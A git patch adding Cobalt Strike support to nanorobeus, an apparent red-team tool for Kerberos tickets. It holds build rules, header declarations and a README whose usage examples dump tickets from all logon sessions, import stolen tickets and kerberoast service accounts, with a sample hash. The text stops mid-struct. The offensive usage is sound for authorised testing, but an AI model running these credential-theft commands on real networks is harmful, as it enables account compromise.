From 17357f2eaec515f41a0d4abb12c50adef52a52ff Mon Sep 17 00:00:00 2001 From: wavvs <30052411+wavvs@users.noreply.github.com> Date: Thu, 20 Apr 2023 21:01:56 +0300 Subject: [PATCH] Add CS support --- Makefile | 16 +- README.md | 31 +- include/beacon.h | 24 +- include/bofdefs.h | 158 +++-- include/common.h | 29 +- include/kerberoast.h | 2 +- include/klist.h | 10 +- include/krb5.h | 74 ++- include/luid.h | 4 +- include/msasn1.h | 1097 ++++++++++++++++--------------- include/ptt.h | 2 +- include/purge.h | 2 +- include/sessions.h | 8 +- include/tgtdeleg.h | 8 +- nanorobeus.cna | 37 ++ sample_sliver.json | 2 +- source/base64.c | 56 +- source/common.c | 522 +++++++++++---- source/compat.c | 159 +++++ source/entry.c | 371 ++++++----- source/kerberoast.c | 123 +++- source/klist.c | 295 ++++++--- source/krb5.c | 1466 ++++++++++++++++++++++++++---------------- source/luid.c | 32 +- source/ptt.c | 51 +- source/purge.c | 42 +- source/sessions.c | 242 ++++--- source/tgtdeleg.c | 254 +++++--- 28 files changed, 3230 insertions(+), 1887 deletions(-) create mode 100644 nanorobeus.cna create mode 100644 source/compat.c diff --git a/Makefile b/Makefile index 46691ed..1e20854 100644 --- a/Makefile +++ b/Makefile @@ -4,20 +4,22 @@ CC_x86 := i686-w64-mingw32-gcc STRIP := strip OPTIONS := -O3 -masm=intel -Wall -Wextra -g -I include -fno-reorder-functions -.PHONY: all exe bof brc4 +.PHONY: all exe bof brc4 cs_bof -all: exe_64 bof_64 bof_86 brc4_64 brc4_86 +all: exe_64 bof cs_bof brc4 exe: exe_64 bof: bof_64 bof_86 +cs_bof: cs_bof_64 cs_bof_86 + brc4: brc4_64 brc4_86 exe_64: $(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \ source/sessions.c source/entry.c source/tgtdeleg.c source/krb5.c source/kerberoast.c \ - -o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 \ + -o dist/$(BOFNAME).x64.exe $(OPTIONS) -l advapi32 -l secur32 -l ntdll \ -l cryptdll -l msasn1 $(STRIP) --strip-all dist/$(BOFNAME).x64.exe @@ -29,6 +31,14 @@ bof_86: $(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS) $(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o +cs_bof_64: + $(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_cs.x64.o -DBOF -DCS_BOF $(OPTIONS) + $(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x64.o + +cs_bof_86: + $(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_cs.x86.o -DBOF -DCS_BOF $(OPTIONS) + $(STRIP) --strip-unneeded dist/$(BOFNAME)_cs.x86.o + brc4_64: $(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS) $(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o diff --git a/README.md b/README.md index c73ce36..6832164 100644 --- a/README.md +++ b/README.md @@ -4,25 +4,24 @@ COFF file (BOF) for managing Kerberos tickets. ## Supported agents * [Sliver](https://github.com/BishopFox/sliver) * [Brute Ratel](https://bruteratel.com) -* Any other agent supporting Cobalt Strike BOFs (not tested) - +* [Cobalt Strike](https://www.cobaltstrike.com) ## Commands **luid** - get current logon ID -**sessions** *[/luid <0x0>| /all]* - get logon sessions +**sessions** *[/luid:<0x0>| /all]* - get logon sessions -**klist** *[/luid <0x0> | /all]* - list Kerberos tickets +**klist** *[/luid:<0x0> | /all]* - list Kerberos tickets -**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets +**dump** *[/luid:<0x0> | /all]* - dump Kerberos tickets -**ptt** *\ [/luid <0x0>]* - import Kerberos ticket into a logon session +**ptt** */ticket:\ [/luid:<0x0>]* - import Kerberos ticket into a logon session -**purge** *[/luid <0x0>]* - purge Kerberos tickets +**purge** *[/luid:<0x0>]* - purge Kerberos tickets -**tgtdeleg** *\* - retrieve a usable TGT for the current user +**tgtdeleg** *\/spn:* - retrieve a usable TGT for the current user -**kerberoast** *\* - perform Kerberoasting against specified SPN +**kerberoast** *\/spn:* - perform Kerberoasting against specified SPN ## Examples Get current logon ID. @@ -47,7 +46,7 @@ LogonServer : SERVER LogonServerDNSDomain : FORTRESS.LOCAL UserPrincipalName : user@fortress.local ``` -List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session. +List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid:0x0` to list tickets in a specified logon session. ``` => nanorobeus64 klist @@ -75,7 +74,7 @@ UserPrincipalName : user@fortress.local Encryption type : AES256_CTS_HMAC_SHA1 ...(snip)... ``` -Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session. +Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid:0x0` to dump tickets from a specified logon session. ``` => nanorobeus64 dump @@ -103,14 +102,14 @@ UserPrincipalName : user@fortress.local Encryption type : AES256_CTS_HMAC_SHA1 Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)... ``` -Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session. +Import a ticket into the current logon session. When elevated, use `/luid:0x0` to import the ticket into a specified logon session. ``` => make_token network fortress.local test pass -=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip... +=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip... [+] Ticket successfully imported. ``` -Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session. +Purge all Kerberos tickets from the current logon session. When elevated, use `/luid:0x0` to purge the tickets from a specified logon session. ``` => nanorobeus64 purge @@ -118,7 +117,7 @@ Purge all Kerberos tickets from the current logon session. When elevated, use `/ ``` Retrieve a usable TGT for the current user. ``` -=> nanorobeus64 tgtdeleg cifs/server.fortress.local +=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local [*] Found the AP-REQ delegation ticket in the GSS-API output [*] Authenticator etype: AES256_CTS_HMAC_SHA1 @@ -128,7 +127,7 @@ Retrieve a usable TGT for the current user. ``` Perform Kerberoasting by specifying SPN: ``` -=> nanorobeus64 kerberoast HTTP/server.fortress.local +=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local [*] Target SPN: HTTP/server.fortress.local [+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)... diff --git a/include/beacon.h b/include/beacon.h index bfca4e3..5df4bf5 100644 --- a/include/beacon.h +++ b/include/beacon.h @@ -2,7 +2,8 @@ /* data API */ #include #ifdef BOF -typedef struct { +typedef struct +{ char *original; /* the original buffer [so we can free it] */ char *buffer; /* current pointer into our buffer */ int length; /* remaining length of data */ @@ -16,7 +17,8 @@ DECLSPEC_IMPORT int BeaconDataLength(datap *parser); DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size); /* format API */ -typedef struct { +typedef struct +{ char *original; /* the original buffer [so we can free it] */ char *buffer; /* current pointer into our buffer */ int length; /* remaining length of data */ @@ -56,8 +58,10 @@ DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo); /* Utility Functions */ DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max); -#define PRINT(dispatch, ...) \ - { BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); } +#define PRINT(dispatch, ...) \ + { \ + BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); \ + } #elif BRC4 DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...); DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...); @@ -71,11 +75,15 @@ DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2); DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2); DECLSPEC_IMPORT int BadgerAtoi(char *string); -#define PRINT(dispatch, ...) \ - { BadgerDispatch(dispatch, __VA_ARGS__); } +#define PRINT(dispatch, ...) \ + { \ + BadgerDispatch(dispatch, __VA_ARGS__); \ + } #else -#define PRINT(dispatch, ...) \ - { fprintf(stdout, __VA_ARGS__); } +#define PRINT(dispatch, ...) \ + { \ + fprintf(stdout, __VA_ARGS__); \ + } #endif diff --git a/include/bofdefs.h b/include/bofdefs.h index 260c8a1..20f7fad 100644 --- a/include/bofdefs.h +++ b/include/bofdefs.h @@ -13,15 +13,16 @@ typedef const UNICODE_STRING *PCUNICODE_STRING; // mimikatz/modules/kull_m_crypto_system.h -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_INITIALIZE) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID* pContext); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD* OutputSize); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_FINISH) (PVOID* pContext); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING String, PVOID Output); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output); -typedef NTSTATUS(WINAPI* PKERB_ECRYPT_RANDOMKEY) (LPCVOID Key, DWORD KeySize, PVOID Output); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_INITIALIZE)(LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID *pContext); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_ENCRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_DECRYPT)(PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD *OutputSize); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_FINISH)(PVOID *pContext); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT5)(PCUNICODE_STRING String, PVOID Output); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_HASHPASSWORD_NT6)(PCUNICODE_STRING Password, PCUNICODE_STRING Salt, DWORD Count, PVOID Output); +typedef NTSTATUS(WINAPI *PKERB_ECRYPT_RANDOMKEY)(LPCVOID Key, DWORD KeySize, PVOID Output); -typedef struct _KERB_ECRYPT { +typedef struct _KERB_ECRYPT +{ LONG Type0; DWORD BlockSize; LONG Type1; @@ -34,7 +35,8 @@ typedef struct _KERB_ECRYPT { PKERB_ECRYPT_ENCRYPT Encrypt; PKERB_ECRYPT_DECRYPT Decrypt; PKERB_ECRYPT_FINISH Finish; - union { + union + { PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5; PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6; }; @@ -43,14 +45,25 @@ typedef struct _KERB_ECRYPT { PVOID unk0_null; PVOID unk1_null; PVOID unk2_null; -} KERB_ECRYPT, * PKERB_ECRYPT; +} KERB_ECRYPT, *PKERB_ECRYPT; + +typedef struct ANSI_STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} ANSI_STRING, *PANSI_STRING; #if defined(BOF) || defined(BRC4) +// ntdll +WINBASEAPI NTSTATUS NTAPI NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); +WINBASEAPI void NTAPI NTDLL$RtlFreeAnsiString(PANSI_STRING AnsiString); + // kernel32 WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); WINBASEAPI VOID WINAPI KERNEL32$SetLastError(DWORD dwErrCode); -WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime); +WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime); WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID); WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); @@ -58,26 +71,30 @@ WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); // msvcrt -WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size); -WINBASEAPI void __cdecl MSVCRT$free(void* memblock); -WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base); -WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count); -WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count); -WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t* __restrict__ _Dest, const char* __restrict__ _Source, +WINBASEAPI void *__cdecl MSVCRT$calloc(size_t num, size_t size); +WINBASEAPI void __cdecl MSVCRT$free(void *memblock); +WINBASEAPI long __cdecl MSVCRT$strtol(const char *string, char **end_ptr, int base); +WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t *__restrict__ _Dest, const char *__restrict__ _Source, size_t _MaxCount); +WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size); +WINBASEAPI int __cdecl MSVCRT$_vsnprintf(char *buffer, size_t count, const char *format, va_list argptr); +WINBASEAPI int __cdecl MSVCRT$_snprintf(char *buffer, size_t count, const char *format, ...); + +// cryptdll +WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem); // advapi32 WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); -WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid, LPSTR *StringSid); WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, - DWORD nSubAuthority7, PSID* pSid); + DWORD nSubAuthority7, PSID *pSid); WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2); WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid); WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle, @@ -94,81 +111,83 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD Des PHANDLE TokenHandle); WINADVAPI WINBOOL WINAPI ADVAPI32$CheckTokenMembership(HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember); +#ifndef CS_BOF // secur32 WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId, - PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData); + PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer); -WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList); +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID *LogonSessionList); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage, PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength, - PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength, + PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength, PNTSTATUS ProtocolStatus); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle); WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle); -WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage, - unsigned __LONG32 fCredentialUse, void* pvLogonId, - void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, - void* pvGetKeyArgument, PCredHandle phCredential, +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleA(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage, + unsigned __LONG32 fCredentialUse, void *pvLogonId, + void *pAuthData, SEC_GET_KEY_FN pGetKeyFn, + void *pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry); WINBASEAPI SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextA( - PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR* pszTargetName, unsigned __LONG32 fContextReq, + PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq, unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2, - PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32* pfContextAttr, PTimeStamp ptsExpiry); -WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void* pvContextBuffer); + PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry); +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeContextBuffer(void *pvContextBuffer); KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext); KSECDDDECLSPEC SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential); -// cryptdll -WINBASEAPI NTSTATUS WINAPI CRYPTDLL$CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem); - // msasn1 WINBASEAPI ASN1module_t ASN1API MSASN1$ASN1_CreateModule(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags, - ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[], - const ASN1GenericFun_t apfnDecoder[], - const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[], - ASN1magic_t nModuleName); + ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[], + const ASN1GenericFun_t apfnDecoder[], + const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[], + ASN1magic_t nModuleName); WINBASEAPI void ASN1API MSASN1$ASN1_CloseModule(ASN1module_t pModule); -WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t* ppEncoderInfo, ASN1octet_t* pbBuf, - ASN1uint32_t cbBufSize, ASN1encoding_t pParent); -WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void* pDataStruct, ASN1uint32_t nPduNum, - ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize); +WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateEncoder(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf, + ASN1uint32_t cbBufSize, ASN1encoding_t pParent); +WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Encode(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum, + ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize); WINBASEAPI void ASN1API MSASN1$ASN1_CloseEncoder(ASN1encoding_t pEncoderInfo); -WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void* pBuf); -WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t* ppDecoderInfo, ASN1octet_t* pbBuf, - ASN1uint32_t cbBufSize, ASN1decoding_t pParent); -WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void** ppDataStruct, ASN1uint32_t nPduNum, - ASN1uint32_t dwFlags, ASN1octet_t* pbBuf, ASN1uint32_t cbBufSize); +WINBASEAPI void ASN1API MSASN1$ASN1_FreeEncoded(ASN1encoding_t pEncoderInfo, void *pBuf); +WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_CreateDecoder(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf, + ASN1uint32_t cbBufSize, ASN1decoding_t pParent); +WINBASEAPI ASN1error_e ASN1API MSASN1$ASN1_Decode(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum, + ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize); WINBASEAPI void ASN1API MSASN1$ASN1_CloseDecoder(ASN1decoding_t pDecoderInfo); -WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void* pDataStruct, ASN1uint32_t nPduNum); -WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t*); +WINBASEAPI void ASN1API MSASN1$ASN1_FreeDecoded(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum); +WINBASEAPI void ASN1API MSASN1$ASN1bitstring_free(ASN1bitstring_t *); WINBASEAPI void ASN1API MSASN1$ASN1ztcharstring_free(ASN1ztcharstring_t); -WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t*); -WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t*); +WINBASEAPI void ASN1API MSASN1$ASN1octetstring_free(ASN1octetstring_t *); +WINBASEAPI void ASN1API MSASN1$ASN1intx_free(ASN1intx_t *); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t* dd, ASN1octet_t** di); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t*); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t* di); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t*); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t*); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t* tag); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t* val); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t* di); -WINBASEAPI void* ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size); -WINBASEAPI void* ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void* ptr, ASN1uint32_t size); -WINBASEAPI void ASN1API MSASN1$ASN1Free(void* ptr); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t*); -WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t*); -WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t* pLengthOffset); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecExplicitTag(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecS32Val(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecEndOfContents(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecBitString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecZeroCharString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecPeekTag(ASN1decoding_t dec, ASN1uint32_t *tag); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecOctetString(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecNotEndOfContents(ASN1decoding_t dec, ASN1octet_t *di); +WINBASEAPI void *ASN1API MSASN1$ASN1DecAlloc(ASN1decoding_t dec, ASN1uint32_t size); +WINBASEAPI void *ASN1API MSASN1$ASN1DecRealloc(ASN1decoding_t dec, void *ptr, ASN1uint32_t size); +WINBASEAPI void ASN1API MSASN1$ASN1Free(void *ptr); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecGeneralizedTime(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *); +WINBASEAPI int ASN1API MSASN1$ASN1BERDecSXVal(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *); +WINBASEAPI int ASN1API MSASN1$ASN1BEREncExplicitTag(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset); WINBASEAPI int ASN1API MSASN1$ASN1BEREncS32(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t); WINBASEAPI int ASN1API MSASN1$ASN1BEREncEndOfContents(ASN1encoding_t enc, ASN1uint32_t LengthOffset); -WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t* val); -WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t* val); +WINBASEAPI int ASN1API MSASN1$ASN1DEREncCharString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val); +WINBASEAPI int ASN1API MSASN1$ASN1DEREncOctetString(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val); +#endif #else -__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* pCSystem); +__declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT *pCSystem); + +#define NTDLL$RtlUnicodeStringToAnsiString RtlUnicodeStringToAnsiString +#define NTDLL$RtlFreeAnsiString RtlFreeAnsiString #define KERNEL32$GetLastError GetLastError #define KERNEL32$SetLastError SetLastError @@ -179,16 +198,17 @@ __declspec(dllimport) NTSTATUS WINAPI CDLocateCSystem(LONG type, PKERB_ECRYPT* p #define KERNEL32$CloseHandle CloseHandle #define KERNEL32$OpenProcess OpenProcess -#define MSVCRT$wcstombs wcstombs #define MSVCRT$strtol strtol #define MSVCRT$calloc calloc +#define MSVCRT$malloc malloc #define MSVCRT$free free -#define MSVCRT$memset memset #define MSVCRT$mbstowcs mbstowcs +#define MSVCRT$_vsnprintf _vsnprintf +#define MSVCRT$_snprintf _snprintf #define ADVAPI32$OpenProcessToken OpenProcessToken #define ADVAPI32$GetTokenInformation GetTokenInformation -#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW +#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA #define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid #define ADVAPI32$EqualSid EqualSid #define ADVAPI32$FreeSid FreeSid diff --git a/include/common.h b/include/common.h index b4dd687..e306004 100644 --- a/include/common.h +++ b/include/common.h @@ -4,6 +4,8 @@ #include #include #include +#define STRSAFE_NO_DEPRECATE +#include #include "beacon.h" #include "bofdefs.h" @@ -11,12 +13,14 @@ #define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L) #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0) -typedef struct 